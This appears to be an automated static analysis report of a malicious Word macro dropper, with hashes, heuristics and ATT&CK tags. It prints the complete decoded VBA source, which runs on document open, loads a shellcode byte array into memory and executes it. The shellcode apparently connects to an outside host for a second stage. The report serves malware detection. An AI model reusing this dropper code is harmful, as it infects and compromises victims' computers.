Doc.Dropper.Valyria-6680543-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 32862539e378fde9…

MALICIOUS

Office (OLE)

34.5 KB Created: 2018-08-23 01:49:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 01deb5245cd181199e706462735b8d0a SHA-1: 8463bbb69a4b7d21ea9d1f0a94959974ea5c3000 SHA-256: 32862539e378fde976562b86a469db58ea03199bc446df503930bd0c725c0348
146 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros, as indicated by multiple OLE_VBA_* heuristic firings and the ClamAV detection. The Auto_Open macro utilizes VirtualAlloc and CreateThread API calls, suggesting it attempts to allocate memory and execute shellcode, likely a second-stage payload. The presence of the 'macros.bas' file further confirms the macro-based nature of this dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
  Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
  Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  Dim Kqyq As Long, Ybwiqhx As Variant, Cdmjosesg As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3096 bytes
SHA-256: e771d313066095e0b2d4fe105f6662fe45f87de778d01cac073b75d05d5347c1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
  Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Qhradjo As Long, ByVal Qahqm As Long, ByVal Gicihcwg As LongPtr, Ozh As Long, ByVal Bhjdzg As Long, Bvntaik As Long) As LongPtr
  Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Foag As Long, ByVal Uhn As Long, ByVal Szvx As Long, ByVal Bdangrnyn As Long) As LongPtr
  Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Zye As LongPtr, ByRef Klcdch As Any, ByVal Zxmz As Long) As LongPtr
#Else
  Private Declare Function CreateThread Lib "kernel32" (ByVal Qhradjo As Long, ByVal Qahqm As Long, ByVal Gicihcwg As Long, Ozh As Long, ByVal Bhjdzg As Long, Bvntaik As Long) As Long
  Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Foag As Long, ByVal Uhn As Long, ByVal Szvx As Long, ByVal Bdangrnyn As Long) As Long
  Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Zye As Long, ByRef Klcdch As Any, ByVal Zxmz As Long) As Long
#End If

Sub Auto_Open()
  Dim Kqyq As Long, Ybwiqhx As Variant, Cdmjosesg As Long
#If VBA7 Then
  Dim Ukiti As LongPtr, Ywr As LongPtr
#Else
  Dim Ukiti As Long, Ywr As Long
#End If
  Ybwiqhx = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 5, 104, 180, 210, 15, 224, 104, 2, 0, 0, 80, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 1, 195, 41, 198, 117, 238, 195)

  Ukiti = VirtualAlloc(0, UBound(Ybwiqhx), &H1000, &H40)
  For Cdmjosesg = LBound(Ybwiqhx) To UBound(Ybwiqhx)
    Kqyq = Ybwiqhx(Cdmjosesg)
    Ywr = RtlMoveMemory(Ukiti + Cdmjosesg, Kqyq, 1)
  Next Cdmjosesg
  Ywr = CreateThread(0, 0, Ukiti, 0, 0, 0)
End Sub
Sub AutoOpen()
  Auto_Open
End Sub
Sub Workbook_Open()
  Auto_Open
End Sub

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